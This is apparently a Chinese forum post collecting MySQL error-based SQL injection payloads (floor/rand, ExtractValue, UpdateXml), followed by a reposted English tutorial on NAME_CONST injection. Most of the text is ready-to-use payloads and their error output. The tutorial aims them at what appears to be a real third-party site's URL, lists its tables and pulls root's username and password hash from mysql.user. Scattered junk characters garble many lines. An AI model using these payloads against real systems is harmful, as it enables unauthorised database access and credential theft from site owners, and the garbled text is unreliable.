mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
首先进行正常查询：

mysql> select * from article where id = 1;
3 d1 A" p) F# s% g& N  V1 R+—-+——-+———+
| id | title | content |
# n0 x4 `  F7 S4 ~* F+ i0 @6 w+—-+——-+———+
|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
# ?: j2 y9 @( f9 D例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
$ C2 E; l& P: K3 ?- U9 S0 l# PERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

再收集：

% V* ~: S) H! z& a$ whttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
7 Z+ M1 D8 Q. m/ u! t$ }5 _2 Y- a
Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)

Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

( a+ \# J6 _+ o1 Q: h1 a: g8 wMYSQL高版本报错注入技巧-利用NAME_CONST注入
2 r" j6 W: }: V5 r4 y3 ]. G  wIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.


1 q8 ]4 S& I9 b4 A: C相关信息
: P# R5 N9 ]% e6 J. c$ _# H
8 k. Q2 M8 x) @, d$ g0 s! }NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
5 G+ L5 J( v) u# y& Z- G. B
4 C- |8 s) r8 k8 W0 P% JCode:
1 ?8 j) n2 o. i( W8 V2 W, X6 j7 qNAME_CONST(DATA, VALUE)

9 M! Y' r7 q* s4 c1 X8 zReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
) A3 D# R9 r5 }8 d* e
, |; O/ c, |7 Q8 n3 Z( x! ^; ASELECT NAME_CONST('TEST', 1)


# n  Y0 ?7 ]" K9 [  U/ @2 e/ c
|---------------|
0 t5 j& J) f5 }7 f|     TEST      |
|               |
' {- a, ^# c# Y+ m) b, u|---------------|
9 k4 M( z7 z% B8 ^|       1       |
5 O/ W9 b) |3 W; W) E$ X|               |
|---------------|

& }. C+ ~+ U! d

& ?. }/ e7 A% a" i
! i/ t. R& t" q3 K4 b9 Y+ k& \/ p4 [http://dev.mysql.com/doc/refman/5.0/en/m...name-const
8 y$ b4 Y7 I' N/ eIntro to MySQL Variables
& {- W/ }6 O$ ?: T, s
$ [" p* o0 x- M8 k& k0 _Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
7 @5 S( E5 F) I1 S+ Q9 |
& f4 u! _: D4 z' C$ O! u9 Z: PCode:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261



' h/ n* [, G' M& p. W

1 K- K+ y* _- ~/ c7 {Code:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
6 ?1 K, B$ [8 \' a( O
2 m# U4 k1 G# C8 [$ r: X
VAR = Your MySQL variable.

% ?. N/ `% @( T5 v) A$ R) M5 O1 gMySQL 5.1.3 Server System Variables
1 ^- N+ R, c2 u  E
Let's try it out on my site..
4 \( L. ^7 l$ g9 w. W8 G
Code:
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
5 y" y& n, I2 p  T3 \$ [/ ]6 ~
8 a5 B, t0 I8 {& r" BErroruplicate column name '5.0.27-community-nt'

% t* S; w' q8 G- P5 ^
3 x; {1 x9 c; X' r! Q  j, c

* M" e, `- n1 ?# o6 U
+ F. n8 ^: V7 K1 m2 T- CNow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...

Data Extraction
+ [3 |( J; x7 w1 A  t
: m8 X4 R  Y5 g# o* W5 \Code:
  q, p! J# z- s6 x+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
/ O, w& H- T/ B% g) L

# o. ~9 i2 n; o* G4 o1 @9 s/ xWe should get a duplicate column 1 error...

Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

Erroruplicate column name '1
$ m, x4 W0 y; {: c! L5 h# J



5 ^4 g8 v% f# _
% v3 x8 U: R- ~  A' H1 z: Q
' t- m8 k) i% Y. A- U! lNow let's get the tables out this bitch..

; @& f% \! [/ tCode:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--


0 I$ x8 m4 W. a1 w; LLet's see if it works here, if it does, we can go on and finish the job.

Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--

* y/ Z: X  y0 S. {3 \# |
Erroruplicate column name 'com_admanage
7 @2 ?% `; h4 R( t) r
- r5 q; |" i% R9 J& O
- A  f% H$ t/ ~6 O


  d! X/ D+ W3 r4 m
1 ^( h. F) ^. U4 lNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.

# z4 W% C& F; h5 g  R+ U" d- eLet's get the columns out of the user table..
5 i- }$ J5 Y0 D; K' j- p: B
! w! L" A) ?& N) ^6 ]' N7 o% MCode:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--


So mine looks like this, and I get the duplicate column name 'Host'.
7 i' U/ o. f# p( o8 l
' I: r1 t6 w" ~4 x+ K# X  XCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
% g; f. K$ ~3 z3 b8 R
Erroruplicate column name 'Host'
. L, Z# C  h' b, q1 R( X



% s2 w- t& p1 K2 W3 q8 [8 U3 |

Woot, time to finish this bitch off.

8 g7 O4 K4 W0 {3 g# sCode:
" y$ c$ B6 W( ?# }7 G1 a4 D0 a+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
2 X% `- n6 B# b/ {, U- H

So mine looks like this...
- i# _/ n8 n$ a
% `1 ]  @9 O5 R  n% B0 Z, x6 CCode:
0 R# L+ S7 w$ @9 I/ z" fhttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
0 c; Q4 A& I' \" c: L7 I& |
# c% d( D% K# b! K# d, nErroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
* |9 x! a# ^! t$ Y& {
$ U( g, I' f! N

: S) }% K, K7 a# j4 M, M# `$ H

7 u1 E1 T5 k8 c7 ]9 C+ i' \. J
' L8 r  D4 s/ ?2 {1 JAnd there we have it, thanks for reading.
* J, X# M' X" z( ]( Y5 g